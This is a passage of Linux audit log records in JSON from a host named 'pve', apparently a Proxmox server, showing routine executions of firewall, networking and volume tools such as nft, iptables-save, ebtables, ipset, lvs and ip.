msg=audit(1781965015.628:63606): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015628,"@rawstring":"node=pve type=PATH msg=audit(1781965015.628:63606): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965014254,"@rawstring":"node=pve type=PATH msg=audit(1781965014.254:63605): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965014254,"@rawstring":"node=pve type=PATH msg=audit(1781965014.254:63605): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965014225,"@rawstring":"node=pve type=PATH msg=audit(1781965014.225:63604): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965014225,"@rawstring":"node=pve type=PATH msg=audit(1781965014.225:63604): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011485,"@rawstring":"node=pve type=PATH msg=audit(1781965011.485:63603): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011485,"@rawstring":"node=pve type=PATH msg=audit(1781965011.485:63603): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011485,"@rawstring":"node=pve type=PATH msg=audit(1781965011.485:63602): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011484,"@rawstring":"node=pve type=PATH msg=audit(1781965011.484:63601): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011476,"@rawstring":"node=pve type=PATH msg=audit(1781965011.476:63600): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011476,"@rawstring":"node=pve type=PATH msg=audit(1781965011.476:63600): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011476,"@rawstring":"node=pve type=PATH msg=audit(1781965011.476:63599): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011476,"@rawstring":"node=pve type=PATH msg=audit(1781965011.476:63598): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965009333,"@rawstring":"node=pve type=PATH msg=audit(1781965009.333:63597): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965009333,"@rawstring":"node=pve type=PATH msg=audit(1781965009.333:63597): item=0 name=\"/usr/bin/find\" inode=260723 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006466,"@rawstring":"node=pve type=PATH msg=audit(1781965006.466:63596): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006466,"@rawstring":"node=pve type=PATH msg=audit(1781965006.466:63596): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006466,"@rawstring":"node=pve type=PATH msg=audit(1781965006.466:63595): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006466,"@rawstring":"node=pve type=PATH msg=audit(1781965006.466:63594): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006451,"@rawstring":"node=pve type=PATH msg=audit(1781965006.451:63593): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006451,"@rawstring":"node=pve type=PATH msg=audit(1781965006.451:63593): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006451,"@rawstring":"node=pve type=PATH msg=audit(1781965006.451:63592): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006451,"@rawstring":"node=pve type=PATH msg=audit(1781965006.451:63591): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005617,"@rawstring":"node=pve type=PATH msg=audit(1781965005.617:63590): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005617,"@rawstring":"node=pve type=PATH msg=audit(1781965005.617:63590): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005613,"@rawstring":"node=pve type=PATH msg=audit(1781965005.613:63589): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005613,"@rawstring":"node=pve type=PATH msg=audit(1781965005.613:63589): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005613,"@rawstring":"node=pve type=PATH msg=audit(1781965005.613:63588): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005613,"@rawstring":"node=pve type=PATH msg=audit(1781965005.613:63588): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005613,"@rawstring":"node=pve type=PATH msg=audit(1781965005.613:63587): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005609,"@rawstring":"node=pve type=PATH msg=audit(1781965005.609:63586): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005609,"@rawstring":"node=pve type=PATH msg=audit(1781965005.609:63586): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005609,"@rawstring":"node=pve type=PATH msg=audit(1781965005.609:63586): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005603,"@rawstring":"node=pve type=PATH msg=audit(1781965005.603:63585): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005603,"@rawstring":"node=pve type=PATH msg=audit(1781965005.603:63585): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005597,"@rawstring":"node=pve type=PATH msg=audit(1781965005.597:63584): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005597,"@rawstring":"node=pve type=PATH msg=audit(1781965005.597:63584): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005591,"@rawstring":"node=pve type=PATH msg=audit(1781965005.591:63583): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005591,"@rawstring":"node=pve type=PATH msg=audit(1781965005.591:63583): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005585,"@rawstring":"node=pve type=PATH msg=audit(1781965005.585:63582): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005585,"@rawstring":"node=pve type=PATH msg=audit(1781965005.585:63582): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005578,"@rawstring":"node=pve type=PATH msg=audit(1781965005.578:63580): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005578,"@rawstring":"node=pve type=PATH msg=audit(1781965005.578:63580): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005575,"@rawstring":"node=pve type=PATH msg=audit(1781965005.575:63579): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005575,"@rawstring":"node=pve type=PATH msg=audit(1781965005.575:63579): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005570,"@rawstring":"node=pve type=PATH msg=audit(1781965005.570:63578): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005570,"@rawstring":"node=pve type=PATH msg=audit(1781965005.570:63578): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005565,"@rawstring":"node=pve type=PATH msg=audit(1781965005.565:63577): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005565,"@rawstring":"node=pve type=PATH msg=audit(1781965005.565:63577): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005561,"@rawstring":"node=pve type=PATH msg=audit(1781965005.561:63576): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005561,"@rawstring":"node=pve type=PATH msg=audit(1781965005.561:63576): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005555,"@rawstring":"node=pve type=PATH msg=audit(1781965005.555:63575): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005555,"@rawstring":"node=pve type=PATH msg=audit(1781965005.555:63575): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005549,"@rawstring":"node=pve type=PATH msg=audit(1781965005.549:63574): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005549,"@rawstring":"node=pve type=PATH msg=audit(1781965005.549:63574): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005544,"@rawstring":"node=pve type=PATH msg=audit(1781965005.544:63573): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005544,"@rawstring":"node=pve type=PATH msg=audit(1781965005.544:63573): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005540,"@rawstring":"node=pve type=PATH msg=audit(1781965005.540:63572): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005540,"@rawstring":"node=pve type=PATH msg=audit(1781965005.540:63572): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005536,"@rawstring":"node=pve type=PATH msg=audit(1781965005.536:63571): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005536,"@rawstring":"node=pve type=PATH msg=audit(1781965005.536:63571): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005535,"@rawstring":"node=pve type=PATH msg=audit(1781965005.535:63570): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005535,"@rawstring":"node=pve type=PATH msg=audit(1781965005.535:63570): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005535,"@rawstring":"node=pve type=PATH msg=audit(1781965005.535:63569): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005531,"@rawstring":"node=pve type=PATH msg=audit(1781965005.531:63568): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005531,"@rawstring":"node=pve type=PATH msg=audit(1781965005.531:63568): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005531,"@rawstring":"node=pve type=PATH msg=audit(1781965005.531:63568): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005525,"@rawstring":"node=pve type=PATH msg=audit(1781965005.525:63567): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005525,"@rawstring":"node=pve type=PATH msg=audit(1781965005.525:63567): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005518,"@rawstring":"node=pve type=PATH msg=audit(1781965005.518:63566): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005518,"@rawstring":"node=pve type=PATH msg=audit(1781965005.518:63566): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005514,"@rawstring":"node=pve type=PATH msg=audit(1781965005.514:63565): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005514,"@rawstring":"node=pve type=PATH msg=audit(1781965005.514:63565): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005507,"@rawstring":"node=pve type=PATH msg=audit(1781965005.507:63564): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005507,"@rawstring":"node=pve type=PATH msg=audit(1781965005.507:63564): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005501,"@rawstring":"node=pve type=PATH msg=audit(1781965005.501:63563): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005501,"@rawstring":"node=pve type=PATH msg=audit(1781965005.501:63563): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965004153,"@rawstring":"node=pve type=PATH msg=audit(1781965004.153:63562): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965004153,"@rawstring":"node=pve type=PATH msg=audit(1781965004.153:63562): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965004123,"@rawstring":"node=pve type=PATH msg=audit(1781965004.123:63561): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965004123,"@rawstring":"node=pve type=PATH msg=audit(1781965004.123:63561): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001444,"@rawstring":"node=pve type=PATH msg=audit(1781965001.444:63560): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001444,"@rawstring":"node=pve type=PATH msg=audit(1781965001.444:63560): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001444,"@rawstring":"node=pve type=PATH msg=audit(1781965001.444:63559): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001444,"@rawstring":"node=pve type=PATH msg=audit(1781965001.444:63558): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001436,"@rawstring":"node=pve type=PATH msg=audit(1781965001.436:63557): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001436,"@rawstring":"node=pve type=PATH msg=audit(1781965001.436:63557): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001436,"@rawstring":"node=pve type=PATH msg=audit(1781965001.436:63556): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001436,"@rawstring":"node=pve type=PATH msg=audit(1781965001.436:63555): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965000072,"@rawstring":"node=pve type=PATH msg=audit(1781965000.072:63554): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965000072,"@rawstring":"node=pve type=PATH msg=audit(1781965000.072:63554): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965000072,"@rawstring":"node=pve type=PATH msg=audit(1781965000.072:63553): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965000072,"@rawstring":"node=pve type=PATH msg=audit(1781965000.072:63553): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965000070,"@rawstring":"node=pve type=PATH msg=audit(1781965000.070:63552): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965000070,"@rawstring":"node=pve type=PATH msg=audit(1781965000.070:63552): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL 